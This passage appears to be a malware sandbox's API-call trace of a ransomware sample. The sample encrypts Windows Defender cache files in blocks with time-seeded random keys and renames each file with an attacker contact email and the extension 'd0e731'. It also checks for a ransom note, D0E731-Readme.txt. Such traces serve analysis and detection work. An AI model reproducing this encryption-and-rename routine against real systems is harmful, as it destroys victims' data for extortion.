lpBuffer=0x3492550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x219bfd18, lpOverlapped=0x0 | out: lpBuffer=0x3492550*, lpNumberOfBytesWritten=0x219bfd18*=0x20, lpOverlapped=0x0) returned 1 [0079.344] WriteFile (in: hFile=0x438, lpBuffer=0x3491998*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x219bfd18, lpOverlapped=0x0 | out: lpBuffer=0x3491998*, lpNumberOfBytesWritten=0x219bfd18*=0x20, lpOverlapped=0x0) returned 1 [0079.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.348] WriteFile (in: hFile=0x438, lpBuffer=0x3478ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x219bfd20, lpOverlapped=0x0 | out: lpBuffer=0x3478ff8*, lpNumberOfBytesWritten=0x219bfd20*=0x8, lpOverlapped=0x0) returned 1 [0079.348] WriteFile (in: hFile=0x438, lpBuffer=0x219bfd38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x219bfd20, lpOverlapped=0x0 | out: lpBuffer=0x219bfd38*, lpNumberOfBytesWritten=0x219bfd20*=0x4, lpOverlapped=0x0) returned 1 [0079.349] WriteFile (in: hFile=0x438, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x219bfd20, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x219bfd20*=0x4, lpOverlapped=0x0) returned 1 [0079.349] WriteFile (in: hFile=0x438, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x219bfd20, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x219bfd20*=0x6c, lpOverlapped=0x0) returned 1 [0079.349] WriteFile (in: hFile=0x438, lpBuffer=0x3492578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x219bfd20, lpOverlapped=0x0 | out: lpBuffer=0x3492578*, lpNumberOfBytesWritten=0x219bfd20*=0x20, lpOverlapped=0x0) returned 1 [0079.349] WriteFile (in: hFile=0x438, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x219bfd20, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x219bfd20*=0x4, lpOverlapped=0x0) returned 1 [0079.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492578) returned 1 [0079.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0079.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ff8) returned 1 [0079.349] CloseHandle (hObject=0x438) returned 1 [0079.349] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0079.349] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C" [0079.349] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C.mailto[kokoklock@cock.li].d0e731" [0079.349] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7c"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7c.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.350] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x820) returned 1 [0079.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.351] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C", dwFileAttributes=0x820) returned 0 [0079.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348be38 [0079.351] wcscpy (in: _Dest=0x348be38, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.351] wcscat (in: _Dest=0x348be38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.351] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348be38) returned 1 [0079.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a480) returned 1 [0079.351] RtlExitUserThread (Status=0x1) Thread: id = 922 os_tid = 0x156c [0079.371] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7e")) returned 0x20 [0079.374] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E", dwFileAttributes=0x20) returned 1 [0079.374] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0079.375] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x21a3ff08 | out: lpFileSize=0x21a3ff08*=3997464) returned 1 [0079.375] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x3cff14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.375] ReadFile (in: hFile=0x5cc, lpBuffer=0x21a3fedc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21a3fed8, lpOverlapped=0x0 | out: lpBuffer=0x21a3fedc*, lpNumberOfBytesRead=0x21a3fed8*=0x4, lpOverlapped=0x0) returned 1 [0079.376] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.376] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a60 [0079.376] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34919c0 [0079.376] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491b78 [0079.376] NtQuerySystemTime (in: CurrentTime=0x21a3feb4 | out: CurrentTime=0x21a3feb4*=132121176372667137) returned 0x0 [0079.376] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x80b2f946 [0079.376] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x1aa4676f [0079.376] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0xa1725c8d [0079.376] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x6b91db76 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x8b2fdc11 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x92adadae [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x693a2c4c [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x52d64f53 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0xd2173408 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x259d7d55 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x7d258702 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x53b4b12f [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0xbd155c10 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0xf12d5803 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x32408d5f [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x587994c7 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x1d700405 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0xc2306a3 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x4ddea453 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x52c1a43c [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x92998a9e [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0xdf5f918c [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x936a26d6 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0xc42ccf49 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0xd7bdd1b8 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0xa28c4be1 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x6360e7d2 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0xaccfb929 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0xc56d3ca4 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0xe38a5102 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x5d50c559 [0079.377] RtlRandom (in: Seed=0x21a3fec0 | out: Seed=0x21a3fec0) returned 0x207607a7 [0079.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.389] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a60) returned 1 [0079.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.389] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.389] ReadFile (in: hFile=0x5cc, lpBuffer=0x34a2370, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21a3fe74, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesRead=0x21a3fe74*=0x4096, lpOverlapped=0x0) returned 1 [0079.391] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34918f8 [0079.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34918f8) returned 1 [0079.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0079.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491ad8 [0079.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491948 [0079.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491948) returned 1 [0079.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.392] WriteFile (in: hFile=0x5cc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21a3fe74, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x21a3fe74*=0x4096, lpOverlapped=0x0) returned 1 [0079.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0079.392] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x1e86e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.392] ReadFile (in: hFile=0x5cc, lpBuffer=0x34a2370, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21a3fe74, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesRead=0x21a3fe74*=0x4096, lpOverlapped=0x0) returned 1 [0079.395] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x1e86e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491c18 [0079.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491c18) returned 1 [0079.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0079.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491c18 [0079.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34919e8 [0079.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34919e8) returned 1 [0079.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.396] WriteFile (in: hFile=0x5cc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21a3fe74, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x21a3fe74*=0x4096, lpOverlapped=0x0) returned 1 [0079.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0079.396] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x3cbe82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.396] ReadFile (in: hFile=0x5cc, lpBuffer=0x34a2370, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21a3fe74, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesRead=0x21a3fe74*=0x4096, lpOverlapped=0x0) returned 1 [0079.397] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x3cbe82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0079.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491920 [0079.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491920) returned 1 [0079.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0079.398] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491920 [0079.398] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491830 [0079.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491830) returned 1 [0079.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0079.398] WriteFile (in: hFile=0x5cc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21a3fe74, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x21a3fe74*=0x4096, lpOverlapped=0x0) returned 1 [0079.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0079.398] WriteFile (in: hFile=0x5cc, lpBuffer=0x3491ad8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21a3fed0, lpOverlapped=0x0 | out: lpBuffer=0x3491ad8*, lpNumberOfBytesWritten=0x21a3fed0*=0x20, lpOverlapped=0x0) returned 1 [0079.398] WriteFile (in: hFile=0x5cc, lpBuffer=0x3491c18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21a3fed0, lpOverlapped=0x0 | out: lpBuffer=0x3491c18*, lpNumberOfBytesWritten=0x21a3fed0*=0x20, lpOverlapped=0x0) returned 1 [0079.398] WriteFile (in: hFile=0x5cc, lpBuffer=0x3491920*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21a3fed0, lpOverlapped=0x0 | out: lpBuffer=0x3491920*, lpNumberOfBytesWritten=0x21a3fed0*=0x20, lpOverlapped=0x0) returned 1 [0079.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.398] WriteFile (in: hFile=0x5cc, lpBuffer=0x3491cb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x21a3fed8, lpOverlapped=0x0 | out: lpBuffer=0x3491cb8*, lpNumberOfBytesWritten=0x21a3fed8*=0x8, lpOverlapped=0x0) returned 1 [0079.398] WriteFile (in: hFile=0x5cc, lpBuffer=0x21a3fef0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21a3fed8, lpOverlapped=0x0 | out: lpBuffer=0x21a3fef0*, lpNumberOfBytesWritten=0x21a3fed8*=0x4, lpOverlapped=0x0) returned 1 [0079.398] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21a3fed8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x21a3fed8*=0x4, lpOverlapped=0x0) returned 1 [0079.398] WriteFile (in: hFile=0x5cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x21a3fed8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x21a3fed8*=0x6c, lpOverlapped=0x0) returned 1 [0079.399] WriteFile (in: hFile=0x5cc, lpBuffer=0x34919c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21a3fed8, lpOverlapped=0x0 | out: lpBuffer=0x34919c0*, lpNumberOfBytesWritten=0x21a3fed8*=0x20, lpOverlapped=0x0) returned 1 [0079.399] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21a3fed8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x21a3fed8*=0x4, lpOverlapped=0x0) returned 1 [0079.399] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34919c0) returned 1 [0079.399] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491bc8) returned 1 [0079.399] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491cb8) returned 1 [0079.399] CloseHandle (hObject=0x5cc) returned 1 [0079.399] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0079.399] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E" [0079.399] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E.mailto[kokoklock@cock.li].d0e731" [0079.399] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7e"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7e.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.400] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.400] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7E", dwFileAttributes=0x20) returned 0 [0079.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c428 [0079.400] wcscpy (in: _Dest=0x348c428, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.400] wcscat (in: _Dest=0x348c428, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.400] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c428) returned 1 [0079.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a9c0) returned 1 [0079.401] RtlExitUserThread (Status=0x1) Thread: id = 923 os_tid = 0x1570 [0079.406] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.80")) returned 0x20 [0079.406] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80", dwFileAttributes=0x20) returned 1 [0079.406] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.80"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0079.406] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x21abf774 | out: lpFileSize=0x21abf774*=13622339) returned 1 [0079.406] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xcfdc3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.407] ReadFile (in: hFile=0x438, lpBuffer=0x21abf748, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21abf744, lpOverlapped=0x0 | out: lpBuffer=0x21abf748*, lpNumberOfBytesRead=0x21abf744*=0x4, lpOverlapped=0x0) returned 1 [0079.408] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.408] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a60 [0079.408] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491970 [0079.408] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491ba0 [0079.408] NtQuerySystemTime (in: CurrentTime=0x21abf720 | out: CurrentTime=0x21abf720*=132121176372979518) returned 0x0 [0079.408] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x23d31f25 [0079.408] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x940ed6a1 [0079.408] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0xc0dda5e [0079.408] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x8c6b9954 [0079.408] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x82a3ddf4 [0079.408] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x42163038 [0079.408] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x8ab10242 [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0xc8ba8eec [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0xc2c9d9d [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0xdeadf8d1 [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x21639213 